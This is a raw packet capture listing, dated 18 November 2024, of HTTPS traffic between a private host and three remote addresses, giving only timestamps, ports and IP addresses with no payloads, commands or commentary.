Nov 18, 2024 05:57:12.125564098 CET	443	49714	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:12.126044989 CET	443	49714	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:12.127577066 CET	49714	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:12.127743959 CET	49714	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:12.127779007 CET	443	49714	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:12.127842903 CET	49714	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:12.127851963 CET	443	49714	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:12.802381992 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:12.802416086 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:12.802496910 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:12.802745104 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:12.802782059 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:13.052689075 CET	443	49714	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:13.052943945 CET	49714	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:13.542918921 CET	49716	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:13.542943001 CET	443	49716	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:13.543030977 CET	49716	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:13.543349028 CET	49716	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:13.543366909 CET	443	49716	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:13.554986954 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:13.555084944 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:13.556575060 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:13.556586981 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:13.556998014 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:13.564853907 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:13.607350111 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:13.813174009 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:13.813232899 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:13.813276052 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:13.813354969 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:13.813354969 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:13.813422918 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:13.813486099 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:13.928752899 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:13.928822994 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:13.928860903 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:13.928929090 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:13.928965092 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:13.929250956 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:14.045936108 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:14.045994043 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:14.046077013 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:14.046159983 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:14.046207905 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:14.046207905 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:14.162857056 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:14.162904978 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:14.162945986 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:14.162970066 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:14.163003922 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:14.163026094 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:14.168684006 CET	443	49716	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:14.168764114 CET	49716	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:14.253757954 CET	49716	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:14.253777981 CET	443	49716	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:14.254132032 CET	443	49716	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:14.256766081 CET	49716	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:14.257473946 CET	49716	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:14.257478952 CET	443	49716	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:14.280399084 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:14.280443907 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:14.280505896 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:14.280550957 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:14.280586958 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:14.280607939 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:14.397449017 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:14.397494078 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:14.397542000 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:14.397568941 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:14.397604942 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:14.397627115 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:14.515060902 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:14.515106916 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:14.515182018 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:14.515206099 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:14.515238047 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:14.515260935 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:14.631845951 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:14.631896019 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:14.631961107 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:14.631980896 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:14.632018089 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:14.632044077 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:14.675637960 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:14.675688982 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:14.675760984 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:14.675775051 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:14.675807953 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:14.675832033 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:14.749806881 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:14.749867916 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:14.749933004 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:14.749946117 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:14.749983072 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:14.750006914 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:14.866763115 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:14.866812944 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:14.866848946 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:14.866867065 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:14.866895914 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:14.866919041 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:14.955454111 CET	443	49716	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:14.955539942 CET	443	49716	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:14.955650091 CET	49716	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:14.955840111 CET	49716	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:14.955852032 CET	443	49716	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:14.983292103 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:14.983387947 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:14.983978033 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:14.983978033 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:14.984042883 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:14.984106064 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:15.067244053 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:15.067301989 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:15.067373991 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:15.067405939 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:15.067435026 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:15.067481995 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:15.100369930 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:15.100447893 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:15.100465059 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:15.100521088 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:15.100526094 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:15.100580931 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:15.102169037 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:15.102219105 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:15.102252007 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:15.102267027 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:15.191354990 CET	49717	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:15.191435099 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:15.191554070 CET	49717	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:15.192831039 CET	49718	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:15.192872047 CET	443	49718	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:15.192934990 CET	49718	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:15.193182945 CET	49719	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:15.193207979 CET	443	49719	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:15.193272114 CET	49719	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:15.194082022 CET	49717	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:15.194118977 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:15.194226027 CET	49718	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:15.194237947 CET	443	49718	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:15.194345951 CET	49719	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:15.194370985 CET	443	49719	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:15.194602966 CET	49720	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:15.194617987 CET	443	49720	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:15.194699049 CET	49720	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:15.194813013 CET	49720	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:15.194819927 CET	443	49720	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:15.195231915 CET	49721	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:15.195322990 CET	443	49721	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:15.195393085 CET	49721	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:15.195625067 CET	49721	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:15.195658922 CET	443	49721	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:15.642153025 CET	49722	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:15.642194986 CET	443	49722	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:15.642385006 CET	49722	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:15.642678022 CET	49722	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:15.642693996 CET	443	49722	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:15.922708988 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:15.923404932 CET	49717	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:15.923459053 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:15.923913956 CET	49717	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:15.923930883 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:15.925205946 CET	443	49719	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:15.925621986 CET	49719	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:15.925638914 CET	443	49719	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:15.926202059 CET	49719	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:15.926213026 CET	443	49719	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:15.931713104 CET	443	49720	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:15.932044983 CET	49720	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:15.932075977 CET	443	49720	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:15.932486057 CET	443	49721	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:15.932586908 CET	49720	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:15.932593107 CET	443	49720	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:15.932868958 CET	49721	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:15.932899952 CET	443	49721	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:15.933485031 CET	49721	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:15.933518887 CET	443	49721	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:15.938196898 CET	443	49718	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:15.938513994 CET	49718	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:15.938529968 CET	443	49718	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:15.939013958 CET	49718	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:15.939018011 CET	443	49718	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.050947905 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.051003933 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.051071882 CET	49717	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.051105022 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.051140070 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.051162958 CET	49717	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.051201105 CET	49717	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.051486015 CET	49717	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.051516056 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.051563978 CET	49717	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.051578045 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.054794073 CET	49723	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.054842949 CET	443	49723	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.054933071 CET	49723	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.055171967 CET	49723	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.055201054 CET	443	49723	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.055221081 CET	443	49719	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.055248976 CET	443	49719	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.055279016 CET	443	49719	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.055310965 CET	49719	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.055357933 CET	49719	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.055519104 CET	49719	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.055536985 CET	443	49719	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.055558920 CET	49719	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.055569887 CET	443	49719	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.058433056 CET	49724	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.058450937 CET	443	49724	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.058541059 CET	49724	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.058813095 CET	49724	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.058826923 CET	443	49724	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.059808969 CET	443	49721	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.059855938 CET	443	49721	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.059921980 CET	49721	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.059941053 CET	443	49721	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.059972048 CET	443	49721	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.060029984 CET	49721	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.060139894 CET	49721	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.060139894 CET	49721	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.060157061 CET	443	49721	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.060177088 CET	443	49721	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.060422897 CET	443	49720	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.060597897 CET	443	49720	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.060656071 CET	49720	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.060730934 CET	49720	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.060764074 CET	443	49720	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.060786963 CET	49720	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.060800076 CET	443	49720	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.063822985 CET	49725	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.063838959 CET	443	49725	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.063910007 CET	49725	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.064059019 CET	49725	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.064074039 CET	443	49725	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.065093994 CET	49726	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.065104961 CET	443	49726	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.065216064 CET	49726	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.065435886 CET	49726	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.065448999 CET	443	49726	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.067105055 CET	443	49718	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.067300081 CET	443	49718	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.067356110 CET	49718	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.067404032 CET	49718	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.067419052 CET	443	49718	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.067437887 CET	49718	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.067444086 CET	443	49718	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.069904089 CET	49727	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.069914103 CET	443	49727	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.069987059 CET	49727	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.070173025 CET	49727	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.070188046 CET	443	49727	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.250962019 CET	443	49722	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:16.251334906 CET	49722	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:16.252793074 CET	49722	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:16.252799988 CET	443	49722	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:16.253021955 CET	443	49722	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:16.269227982 CET	49722	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:16.270030022 CET	49722	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:16.270067930 CET	443	49722	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:16.270153046 CET	49722	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:16.270186901 CET	443	49722	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:16.270273924 CET	49722	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:16.270304918 CET	443	49722	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:16.270404100 CET	49722	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:16.270426989 CET	443	49722	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:16.270526886 CET	49722	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:16.270553112 CET	443	49722	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:16.270667076 CET	49722	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:16.270690918 CET	443	49722	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:16.270699978 CET	49722	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:16.270802975 CET	49722	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:16.270828962 CET	49722	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:16.281255007 CET	443	49722	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:16.281371117 CET	49722	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:16.281397104 CET	443	49722	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:16.281404018 CET	49722	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:16.281419039 CET	443	49722	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:16.281430006 CET	49722	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:16.281502008 CET	49722	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:16.281534910 CET	49722	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:16.281559944 CET	49722	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:16.286400080 CET	443	49722	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:16.286477089 CET	49722	443	192.168.2.6	188.114.97.3
Nov 18, 2024 05:57:16.286490917 CET	443	49722	188.114.97.3	192.168.2.6
Nov 18, 2024 05:57:16.605536938 CET	49728	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:16.605567932 CET	443	49728	40.113.103.199	192.168.2.6
Nov 18, 2024 05:57:16.605643988 CET	49728	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:16.606347084 CET	49728	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:57:16.606372118 CET	443	49728	40.113.103.199	192.168.2.6
Nov 18, 2024 05:57:16.786680937 CET	443	49723	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.791615963 CET	49723	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.791676998 CET	443	49723	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.792057991 CET	49723	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.792072058 CET	443	49723	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.792146921 CET	443	49727	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.792412043 CET	49727	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.792419910 CET	443	49727	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.792807102 CET	49727	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.792810917 CET	443	49727	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.797784090 CET	443	49725	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.799889088 CET	443	49726	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.800272942 CET	443	49724	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.808007002 CET	49725	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.808015108 CET	443	49725	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.808590889 CET	49725	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.808595896 CET	443	49725	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.808698893 CET	49726	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.808717012 CET	443	49726	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.809353113 CET	49726	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.809357882 CET	443	49726	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.809477091 CET	49724	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.809482098 CET	443	49724	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.810026884 CET	49724	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.810030937 CET	443	49724	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.918019056 CET	443	49727	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.918260098 CET	443	49727	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.918329000 CET	49727	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.920967102 CET	443	49723	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.921046972 CET	443	49723	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.921099901 CET	49723	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.921782970 CET	49727	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.921788931 CET	443	49727	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.921802998 CET	49727	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.921807051 CET	443	49727	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.926100969 CET	49723	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.926140070 CET	443	49723	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.926167965 CET	49723	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.926182985 CET	443	49723	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.933896065 CET	443	49726	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.934036970 CET	443	49726	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.934092999 CET	49726	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.934931040 CET	443	49725	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.935447931 CET	443	49725	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.935497046 CET	49725	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.938278913 CET	443	49724	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.938393116 CET	443	49724	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:16.938433886 CET	49724	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.956075907 CET	49724	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:16.956075907 CET	49724	443	192.168.2.6	13.107.246.45
